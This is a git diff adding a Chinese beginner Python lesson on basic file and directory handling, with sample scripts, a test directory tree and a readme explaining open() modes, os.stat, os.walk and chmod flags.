+ if stat.S_ISDIR(mode): + # 如果是文件夹 + print('%s是文件夹' % pathName) + elif stat.S_ISREG(mode): + # 如果是文件 + print('%s是文件' % pathName) + else: + # 未知类型 + print('未知目录类型 %s' % pathName) + +# listCurrentDirectoryMode('.') + + +def printChmode(path): + files = os.listdir(path) + for name in files: + pathName = os.path.join(path, name) + mode = os.stat(pathName).st_mode + print(stat.filemode(mode)) + +# printChmode('.') + + +def walkDir(path): + for dirName, subdirList, fileList in os.walk(path): + print('发现目录: %s' % dirName) + for fname in fileList: + print('\t%s' % fname) + +# walkDir('.') + + +def renameTest(): + walkDir('.') + os.rename('1.txt', '2.txt') + try: + os.rename('./a/a.p', './b2/b.p') + except FileNotFoundError as e: + print(e) + os.renames('./a/a1/a1.t', 'b/b2/b1.t') + walkDir('.') + +# renameTest() + + +def createPath(p): + try: + os.makedirs(p) + except OSError as e: + print('创建目录失败', e) + else: + print('目录%s创建成功' % p) + +# createPath('./a/') + + +def createPath2(p): + try: + if not os.path.exists(p): + os.makedirs(p) + print('%s创建成功' % p) + else: + print('%s已经存在' % p) + except OSError as e: + print('创建目录失败', e) + + +# createPath2('./a/') +# createPath2('./a/b') + +def createPath3(p, mode): + try: + if not os.path.exists(p): + os.makedirs(p, mode,) + print('%s创建成功' % p) + mode = os.stat(p).st_mode + print(stat.filemode(mode)) + else: + print('%s已经存在' % p) + except OSError as e: + print('创建目录失败', e) + +# createPath3('./a/b/c',0o755) + + +def createTempDirectory(): + with tempfile.TemporaryDirectory() as directory: + print('临时目录 %s' % directory) + + +createTempDirectory() + + +def removeDir(path): + try: + os.rmdir(path) + except OSError: + print("删除 %s 失败" % path) + else: + print("删除 %s成功" % path) diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/fileHandle.py" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/fileHandle.py" new file mode 100644 index 0000000..2dd3b58 --- /dev/null +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/fileHandle.py" @@ -0,0 +1,64 @@ +# -*- coding: UTF-8 -*- +import os + +print(os.getcwd()) +filePath = './python黑客编程/python黑客编程入门版/2.1 文件和目录/code/test.txt' + +file = open(filePath,'r') +print(file.read()) +file.close() + +print('读取部分内容.....') + +file = open(filePath,'r') +print(file.read(3)) +file.close() + +print('二进制模式.....') + +file = open(filePath,'rb') +print(file.read()) +file.close() + +print('逐行读取.....') +file = open(filePath,'r') +for c in file: + print(c) +file.close() +print('分批读取.....') +with open(filePath,'r') as f: + while True: + c = f.read(1) + if not c: + break + print(c) + +print('a模式写入.....') + +def printContent(path): + with open(path,'r') as f: + print(f.read()) + +with open(filePath,'a') as f: + f.write("追加内容\r\n") + +printContent(filePath) + +# print('w模式写入.....') +# with open(filePath,'w') as f: +# f.write("追加内容\r\n") +# printContent(filePath) + +print('a模式写入,文件开始位置添加内容.....') +with open(filePath,'a') as f: + f.seek(0) + f.write("追加内容\r\n") +printContent(filePath) + +import os + +def removeTest(): + os.remove('./test.txt') + +def renameTxt(): + os.rename('./test.txt','./abc.txt') diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/2.txt" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/2.txt" new file mode 100644 index 0000000..69ec23d --- /dev/null +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/2.txt" @@ -0,0 +1 @@ +ddd \ No newline at end of file diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/a/a.p" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/a/a.p" new file mode 100644 index 0000000..e69de29 diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/b/b.p" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/b/b.p" new file mode 100644 index 0000000..e69de29 diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/b/b1/b1.t" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/b/b1/b1.t" new file mode 100644 index 0000000..e69de29 diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/b/b2/b1.t" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/b/b2/b1.t" new file mode 100644 index 0000000..e69de29 diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/c/c2/c3/c3.d" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/c/c2/c3/c3.d" new file mode 100644 index 0000000..eb46ace --- /dev/null +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/sampleDirectory/c/c2/c3/c3.d" @@ -0,0 +1,5 @@ +as +asdh +'ajs;dlfjas +asdfja;sdfjas +dlfjas diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/test.txt" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/test.txt" new file mode 100644 index 0000000..a803efa --- /dev/null +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/code/test.txt" @@ -0,0 +1,6 @@ +a,e +b +c +玄魂 +追加内容 +追加内容 diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/0.jpg" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/0.jpg" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/00.jpeg" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/00.jpeg" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/1.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/1.png" new file mode 100644 index 0000000..e4b9b1f Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/1.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/10.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/10.png" new file mode 100644 index 0000000..10a8af5 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/10.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/11.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/11.png" new file mode 100644 index 0000000..385f7eb Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/11.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/12.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/12.png" new file mode 100644 index 0000000..8acb4ce Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/12.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/13.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/13.png" new file mode 100644 index 0000000..38d6896 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/13.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/14.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/14.png" new file mode 100644 index 0000000..8475912 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/14.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/15.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/15.png" new file mode 100644 index 0000000..02058f7 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/15.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/16.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/16.png" new file mode 100644 index 0000000..4356822 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/16.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/17.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/17.png" new file mode 100644 index 0000000..2267e5c Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/17.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/2.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/2.png" new file mode 100644 index 0000000..e2ff759 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/2.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/3.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/3.png" new file mode 100644 index 0000000..777a191 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/3.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/4.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/4.png" new file mode 100644 index 0000000..45fc4d2 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/4.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/5.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/5.png" new file mode 100644 index 0000000..c5f7d35 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/5.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/6.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/6.png" new file mode 100644 index 0000000..e1a9fa1 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/6.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/7.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/7.png" new file mode 100644 index 0000000..49fa582 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/7.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/8.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/8.png" new file mode 100644 index 0000000..f2c2891 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/8.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/9.png" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/9.png" new file mode 100644 index 0000000..b13c3b4 Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/img/9.png" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" new file mode 100644 index 0000000..13a6de4 --- /dev/null +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" @@ -0,0 +1,552 @@ +## 2.1 文件和目录基本操作 + +Python的基本类库提供对文件和目录进行操作的功能,本节我们对这些基本方法进行学习。我们首先来学习文件操作。 + +### 2.1.1 文件操作 + +文件操作包含文件打开和关闭、读、写、重命名和删除,分别对应open、close、read、write几个方法。新建fileHandler.py,用于测试和练习。 + +想要对一个文件进行操作,要先使用open方法获取文件的访问权限,该方法的完整定义如下: + +```Python +open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None) +``` + +参数说明如下: + +>file: 必需,文件路径(相对或者绝对路径)。\ +mode: 可选,文件打开模式\ +buffering: 设置缓冲\ +encoding: 一般使用utf8\ +errors: 报错级别\ +newline: 区分换行符\ +closefd: 传入的file参数类型\ +opener:打开文件的一个回调函数,接收被打开文件的文件描述符 + + +mode 参数可选值如下: + + + + + + + + + + + + + + + + + + + + + + + +
模式描述
t文本模式 (默认)。
x写模式,新建一个文件,如果该文件已存在则会报错。
b二进制模式。
+打开一个文件进行更新(可读可写)。
U通用换行模式(不推荐)。
r以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。
rb以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。这是默认模式。一般用于非文本文件如图片等。
r+打开一个文件用于读写。文件指针将会放在文件的开头。
rb+以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。一般用于非文本文件如图片等。
w打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
wb以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。
w+打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。
wb+以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如图片等。
a打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。
ab以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。
a+打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。
ab+以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。
+ +## 2.1.1.1 文件读取 + +我们常用的前两个参数,其他参数根据应用情况进行选择,比如打开文件乱码,可能就要考虑设置合适的encoding了。我们新建一个test.txt文件,文件内添加三行内容: + +``` +a +b +c +玄魂 +``` + +下面我们编写代码打开test.txt文件并读出其内容: + +```Python +file = open('./test.txt','r') +print(file.read()) +file.close() +``` +上面代码的第一行,调用open方法返回一个file对象,这里open方法我们用了两个参数,第一个参数是文件的打开路径,第二个参数为模式,我们传入的'r'代表读模式。接着我们调用open方法返回的file对象的read方法来读取文件内容。read方法接收一个size参数(read(size)),表示读取文件的长度,在以二进制模式读取内容的时候,返回bytes对象,其他情况返回字符串对象。代码的最后调用了close方法来关闭文件访问,这也是我们必须要注意的地方。 + + +注意: + + 如果使用的是相对路径,VS Code进行调试的时候,如果遇到找不到文件的错误,注意当前路径的位置在哪里,一般是编辑器打开的文件路径(在VS Code 中打开终端所在的位置)。我们可以使用代码来获取当前上下文的路径: + +```Python +import os + +print(os.getcwd()) +```` + + + +下面看一下代码的运行结果: + +![](./img/1.png) + +我们继续对代码做调整,添加如下代码查看输出内容: + +```Python +print('读取部分内容.....') + +file = open('./python黑客编程/python黑客编程入门版/2.1 文件和目录/code/test.txt','r') +print(file.read(3)) +file.close() + +print('二进制模式.....') + +file = open('./test.txt','rb') +print(file.read()) +file.close() +``` +运行结果如下: + +![](./img/2.png) + +使用 for ... in 语句可以逐行读取文件内容。示例如下: +```Python +print('逐行读取.....') +file = open('./test.txt','r') +for c in file: + print(c) +file.close() +``` + +上面的方法试用于较大文件的读取,如果是以read方法读取大文件,一般的形式如下: +```Python +print('分批读取.....') +with open('./test.txt','r') as f: + while True: + c = f.read(1) + if not c: + break + print(c) +``` +上面的代码中,我们每次读取一个字符,直到返回字符为空跳出循环。代码中没有调用close方法,但是我们使用了with表达式,有一些任务,可能事先需要设置,事后做清理工作。对于这种场景,Python的with语句提供了一种非常方便的处理方式。 + +``` +基本思想是with所求值的对象必须有一个__enter__()方法,一个__exit__()方法。紧跟with后面的语句被求值后,返回对象的__enter__()方法被调用,这个方法的返回值将被赋值给as后面的变量。当with后面的代码块全部被执行完之后,将调用前面返回对象的__exit__()方法。 +file对象的__exit__()会对资源进行清理。 +``` + +## 2.1.1.2 文件写入 + +下面我们看一下文件的写入操作,回到上面的表格,想要对文件进行写入,open方法可传入的mode参数有‘a’系列和‘w’系列,'a'模式代表追加,在原文件的末尾添加内容,‘w’模式会清空原文件的内容,重新写入。 下面分别进行测试。 + +添加如下测试代码: +```Python +filePath = './test.txt' + +print('a模式写入.....') + +def printContent(path): + with open(path,'r') as f: + print(f.read()) + +with open(filePath,'a') as f: + f.write("追加内容\r\n") + +printContent(filePath) + +``` +这里我们先复习下函数的定义和调用,如果你忘了,请回到1.5节去看一下。上面的代码定义了一个printContent方法,接收一个传入的路径,然后打印文件的字符串内容。 下面使用追加模式打开文件,写入内容。运行结果如下: + +![](img/3.png) + +接下来尝试“w”模式: +```Python +print('w模式写入.....') +with open(filePath,'w') as f: + f.write("追加内容\r\n") +printContent(filePath) +``` + +运行结果如下: + +![](img/4.png) + +### 2.1.1.3 文件的创建、删除、重命名 + +文件内容的读写我们简单介绍到这,下面我们关注下文件本身的操作。创建文件我们在上面已经讲到了,使用‘w+’模式打开文件的时候,如果文件不存在就会创建。删除和重命名文件,使用os.remove和 os.rename方法。 + +os.remove() 方法用于删除指定路径的文件。如果指定的路径是一个目录,将抛出OSError。 + +remove()方法语法格式如下: +``` +os.remove(path)#path:要删除的文件路径 +``` +os.rename() 方法用于命名文件或目录,从 src 到 dst,如果dst是一个存在的目录, 将抛出OSError。 + +rename()方法语法格式如下: +``` +os.rename(src, dst) +``` +src表示要修改的目录名,dst表示修改后的目录名。 +上面两个方法示例如下: +```Python +import os + +def removeTest(): + os.remove('./test.txt') + +def renameTxt(): + os.rename('./test.txt','./abc.txt') +``` + +## 2.1.2 目录操作 + +目录操作我们经常遇到的任务为目录和目录下的文件遍历,包括枚举目录和文件的相关属性;创建和删除目录;对目录重命名等。新建directoryTrave.py文件,新建如下图的目录树: +![](./img/5.png) + +用于测试和练习。测试的时候将终端的当前路径切换到sampleDirectory目录下,以便获得和教程一致的测试结果。 + +### 2.1.2.1 目录枚举 + +首先我们列出当前目录下的文件和子目录。代码如下: + +```Python +# -*- coding: UTF-8 -*- + +import sys +import os + +os.chdir('/Users/xuanhun/玄魂工作室/python黑客编程/python黑客编程入门版/2.1 文件和目录/code/sampleDirectory') + + +def listCurrentDirectory(path): + files = os.listdir(path) + for name in files: + print(name) + +listCurrentDirectory('.') +``` + +上面的代码中,首先我们使用os.chdir方法,将程序上下文的当前路径指定到我们的测试目录上来。接着定义了一个listCurrentDirectory方法,该方法接收一个指定的路径,循环打印出该路径下的子目录和文件的名称。获取子目录和文件信息使用的是os.listdir方法。运行结果如下: + +![](./img/6.png) + +只能获取名字是不够的,我们希望能获取更详细的信息,可以使用os.stat方法。添加如下示例代码: + +```Python +def listDirectoryDetail(path): + files = os.listdir(path) + for name in files: + pathName = os.path.join(path,name) + print(os.stat(pathName).st_mode) #inode 保护模式 + print(os.stat(pathName).st_ino) #inode 节点号 + print(os.stat(pathName).st_dev ) # inode 驻留的设备 + print(os.stat(pathName).st_nlink) #inode 的链接数 + print(os.stat(pathName).st_uid ) #所有者的用户ID + print(os.stat(pathName).st_gid )#所有者的组ID + print(os.stat(pathName).st_size )#文件的大小,普通文件以字节为单位的大小;包含等待某些特殊文件的数据 + print(os.stat(pathName).st_atime )#文件最后访问时间 + print(os.stat(pathName).st_mtime )#文件最后修改时间 + print(os.stat(pathName).st_ctime )#由操作系统报告的"ctime"。在某些系统上(如Unix)是最新的元数据更改的时间,在其它系统上(如Windows)是创建时间 + +listDirectoryDetail('.') +``` + +上面的代码中列举了os.stat方法可以枚举的信息,运行结果如下: + +![](./img/7.png) + +从打印的数据看,我们仍然无法知道当前路径是文件还是目录、权限等信息,此时需要引入stat模块对st_mode进行解析,我们先看示例。 + +```Python +import stat +def listCurrentDirectoryMode(path): + files = os.listdir(path) + for name in files: + pathName = os.path.join(path, name) + mode = os.stat(pathName).st_mode + if stat.S_ISDIR(mode): + # 如果是目录 + print('%s是文件夹' % pathName) + elif stat.S_ISREG(mode): + # 如果是文件 + print('%s是文件'%pathName) + else: + # 未知类型 + print('未知目录类型 %s' % pathName) + +listCurrentDirectoryMode('.') +``` + +上面代码中我们使用了S_ISDIR来判断是否是文件夹,使用S_ISREG来判断是否是文件,运行结果如下: + +![](./img/8.png) + +其他类型的判断如下: + +```Python +if stat.S_ISREG(mode): #判断是否一般文件 + print 'Regular file.' +elif stat.S_ISLNK (mode): #判断是否链接文件 + print 'Shortcut.' +elif stat.S_ISSOCK (mode): #判断是否套接字文件 + print 'Socket.' +elif stat.S_ISFIFO (mode): #判断是否命名管道 + print 'Named pipe.' +elif stat.S_ISBLK (mode): #判断是否块设备 + print 'Block special device.' +elif stat.S_ISCHR (mode): #判断是否字符设置 +  print 'Character special device.' +elif stat.S_ISDIR (mode): #判断是否目录 +  print 'directory.' +``` + +通过函数filemode可以很方便的打印文件的mode信息: + +```Python +def printChmode(path): + files = os.listdir(path) + for name in files: + pathName = os.path.join(path, name) + mode = os.stat(pathName).st_mode + print(filemode(mode)) + +printChmode('.') +``` +运行结果如下: + +![](./img/9.png) + + +### 2.1.2.2 目录遍历 + +上面的代码实现了枚举当前目录下的一级子目录的信息,但是多级目录,我们如何进行一层层的遍历呢? 上面我们已经知道了当前路径是目录还是文件,如果是文件就可以继续调用当前方法,实现递归调用,此种实现方法,留给大家当做作业,下面我们看一种简单的方法,使用os.walk()方法。 + +walk()方法语法格式如下: + +``` +os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]]) +``` + +各参数说明如下: + + +>top -- 是你所要遍历的目录的地址, 返回的是一个三元组(root,dirs,files)。 + +>>root 所指的是当前正在遍历的这个文件夹的本身的地址
+>>dirs 是一个 list ,内容是该文件夹中所有的目录的名字(不包括子目录)
+>>files 同样是 list , 内容是该文件夹中所有的文件(不包括子目录)
+ +>topdown --可选,为 True,则优先遍历 top 目录,否则优先遍历 top 的子目录(默认为开启)。如果 topdown 参数为 True,walk 会遍历top文件夹,与top 文件夹中每一个子目录。 + +>onerror -- 可选,需要一个 callable 对象,当 walk 需要异常时,会调用。 + +>followlinks -- 可选,如果为 True,则会遍历目录下的快捷方式(linux 下是软连接 symbolic link )实际所指的目录(默认关闭),如果为 False,则优先遍历 top 的子目录。 + +下面我们做简单的测试: + +```Python +def walkDir(path): + for dirName, subdirList, fileList in os.walk(path): + print('发现目录: %s' % dirName) + for fname in fileList: + print('\t%s' % fname) + +walkDir('.') +``` + +运行结果如下: + +![](./img/10.png) + +### 2.1.3 修改权限 + +os.chmod() 方法用于更改文件或目录的权限,语法格式如下: + +``` +os.chmod(path, mode) +``` +参数说明如下: + +>path -- 文件名路径或目录路径。 + +>flags -- 可用以下选项按位或操作生成, 目录的读权限表示可以获取目录里文件名列表, ,执行权限表示可以把工作目录切换到此目录 ,删除添加目录里的文件必须同时有写和执行权限 ,文件权限以用户id->组id->其它顺序检验,最先匹配的允许或禁止权限被应用。 + +>>stat.S_IXOTH: 其他用户有执行权0o001
+stat.S_IXOTH: 其他用户有执行权0o001
+stat.S_IWOTH: 其他用户有写权限0o002
+stat.S_IROTH: 其他用户有读权限0o004
+stat.S_IRWXO: 其他用户有全部权限(权限掩码)0o007
+stat.S_IXGRP: 组用户有执行权限0o010
+stat.S_IWGRP: 组用户有写权限0o020
+stat.S_IRGRP: 组用户有读权限0o040
+stat.S_IRWXG: 组用户有全部权限(权限掩码)0o070
+stat.S_IXUSR: 拥有者具有执行权限0o100
+stat.S_IWUSR: 拥有者具有写权限0o200
+stat.S_IRUSR: 拥有者具有读权限0o400
+stat.S_IRWXU: 拥有者有全部权限(权限掩码)0o700
+stat.S_ISVTX: 目录里文件目录只有拥有者才可删除更改0o1000
+stat.S_ISGID: 执行此文件其进程有效组为文件所在组0o2000
+stat.S_ISUID: 执行此文件其进程有效用户为文件所有者0o4000
+stat.S_IREAD: windows下设为只读
+stat.S_IWRITE: windows下取消只读
